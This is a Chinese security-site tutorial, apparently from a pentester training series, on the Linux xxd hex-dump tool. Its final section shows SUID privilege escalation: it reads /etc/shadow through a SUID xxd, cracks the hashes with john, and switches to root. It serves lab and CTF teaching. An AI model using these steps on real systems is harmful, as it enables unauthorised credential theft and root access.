freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

如何通过Linux xxd命令进行提权
2019-08-16 13:00:37

本文将为大家介绍另一个可用于提权的Linux命令,即“xxd”。xxd命令的作用是将给定的标准输入或者文件,做一次十六进制的输出,反之它也可以将十六进制的输出转换为原来的二进制格式。

注:发布“Linux for Pentester”系列文章的主要目的,是为了向渗透测试人员介绍有关在解决CTF挑战或基于Linux提权的OSCP labs时可能遇到的情况和问题。而不是为了在这里对任何网络或系统管理员,提供程序/文件等高权限的错误配置行为进行批评。

xxd 介绍

我们知道如果想要将某个文件转换成另一种格式,我们可以通过使用一些在线的转换工具,它可以帮助我们将一个文件转换成几乎任何我们所需的文件格式,例如:“pdf to word,jpg to pdf,excel to pdf“等等。但如果有人想要将任意文件转换为十六进制或二进制形式,那又该怎么办呢?

其实这很简单,在Linux上我们可以通过xxd这个命令来做到这一点。xxd命令可以为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。这也有助于对任意文件的编码和解码。

首先,让我们使用help/man命令,查看xxd命令的具体使用方法。

xxd -h

1.png

使用 xxd 执行的主要操作

将文件内容转换为十六进制:例如,我创建了一个名为“secret.txt”的新文件,现在我想将其内容都转换为十六进制形式,我可以通过键入以下命令执行:

Syntax: xxd <options> filename

xxd secret.txt

如下图所示,很明显xxd已经为文件“secret.txt”生成了十六进制转储。

在这里我们可以观察到,以下十六进制转储获得了它的默认格式,例如:

索引行数(例如:00000000, 00000010, 00000020…………00000220)

每组的默认八位字节数为2(-e: 4 little-endian hexdump),其分组大小为4字节(例如:4967 6e69…………6e67)

标准列长度为16位,带有空格

2.png

使用xxd跳过第n行:在转换文件时,有许多数据可能是我们不需要的。因此,我们可以跳过这些内容(跳过行数)。我们可以使用xxd跳过第n行,并在跳过的行后生成十六进制值。

假设在我当前的情况下,我想要从第5行生成十六进制转储,那么可以通过使用“-s”参数后跟xxd命令来实现。

xxd -s 0x50 secret.txt

将输出限制为特定长度:以上我已经解释了如何通过跳过行数(即从特定行输出)来检索数据。但是,如果你想要限制标准输出的长度,那么你可以使用“-l”参数。

这里,我限制了我的内容长度,以将数据打印到有限的范围,即第5行,如下图所示。

xxd -l 0x50 secret.txt

因此,我们可以观察到两个命令之间的差异;第一个命令生成从第6行初始化的十六进制值,第二个命令根据十六进制索引以第5行结束,请参考以上截图。

3.png

将文件内容转换为二进制文件:如果你想将文件转换为二进制形式,则可以使用“-b”选项。命令如下:

xxd -b secret.txt

4.png

设置列长:上面我已经介绍了如何跳过并限制输出到范围,其实我们还可以设置列的长度。默认情况下,对于任何转储文件它都是12, 16。

默认值:我们知道默认列长度为16。这将打印16个字符,包括空格。

xxd -l 0x20 secret.txt

将列长度设置为32:我使用“-l”选项设置了结束索引以限制打印数据的范围。然后我使用“-c”参数,将列的长度设为了32。

xxd -l 0x40 -c 32 secret.txt

从下图中,我们可以知道xxd是如何限制列长度的。

将列长度设置为9:现在我们将列长度设置为“9”。

xxd -l 0x40 -c 9 secret.txt

在所有这些情况下,xxd都是通过空格计数每个字符来为文件创建十六进制转储的。

5.png

纯16进制转储:我们可以使用“-ps”选项,以 postscript的连续16进制转储输出。这里我们将其输出保存在hex文件中,以获取secret.txt文件的纯16进制转储。为了验证结果,我们使用cat命令从hex文件中读取输出。

xxd -ps secret.txt > hex
cat hex

从下图中,我们可以知道xxd是如何为“secret.txt”文件,创建纯十六进制转储的。

还原文件:我们可以使用“-r”选项,来还原转换的文件内容。在我们的例子中,我使用了“-r -p”将纯十六进制转储的反向输出打印为了ASCII格式。

xxd -r -p hex

6.png

分组大小字节:如果我们需要将输出分组为多个八位字节,那么我们可以使用“-g”选项来实现。默认情况下为2(-e: 4 little-endian hex dump)。因此,如果我们将值设为4,那么它将被分组为8位。

在下图中我们将值设为8,它将分组为16位作为输出以简化结果。

xxd -l 0x30 -g 8 secret.txt

7.png

SUID Lab 设置

SUID特殊权限是以命令(可执行文件)的所有者权限来运行这一命令的,而不是以执行者的权限来运行该命令。现在,让我们在xxd上启用SUID权限,这样本地用户就有机会利用xxd来获取root权限。

键入以下命令,启用SUID位:

which xxd
chmod u+s /usr/bin/xxd
ls -al /usr/bin/xxd

SUID 利用

现在,我们将通过特殊权限位SUID来利用xxd服务。为此,我创建了一个受害者机器的会话,这将允许我们利用目标系统的本地用户访问。

让我们使用ssh连接到目标机器,命令如下:

ssh test@192.168.1.103

成功访问受害者机器后,我们使用find命令来查找具有SUID权限的二进制文件。

find / -perm -u=s -type f 2>/dev/null

这里我们可以看到有许多二进制文件具有SUID位,但我们重点关注/usr/bin/xxd。

9.png

在xxd上获得特殊权限位SUID,我们将获取用于提取密码哈希文件的shadow文件。

如下图所示,我已请求通过使用xxd暴露/etc/shadow文件,它将为该文件生成十六进制转储,并通过管道传输xxd命令来恢复其输出。 

xxd "/etc/shadow" | xxd -r

10.png

现在,我将使用john the ripper这款工具来破解哈希密码。这样我们就可以获取用户凭据,如下图所示。

john hash

11.png

获取凭据后,我们就可以切换用户了。首先,我们来检查下用户的sudo权限:raj,发现用户“raj”具有所有权限。

su raj
sudo -l
sudo su

因此,让我们直接切换到root用户帐户,并访问root shell(如下图所示)。至此,我们已成功利用xxd命令提升了我们的用户权限。

12.png

*参考来源:hackingarticles,FB小编secist编译,转载请注明来自FreeBuf.COM

# linux # 提权 # xxd
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录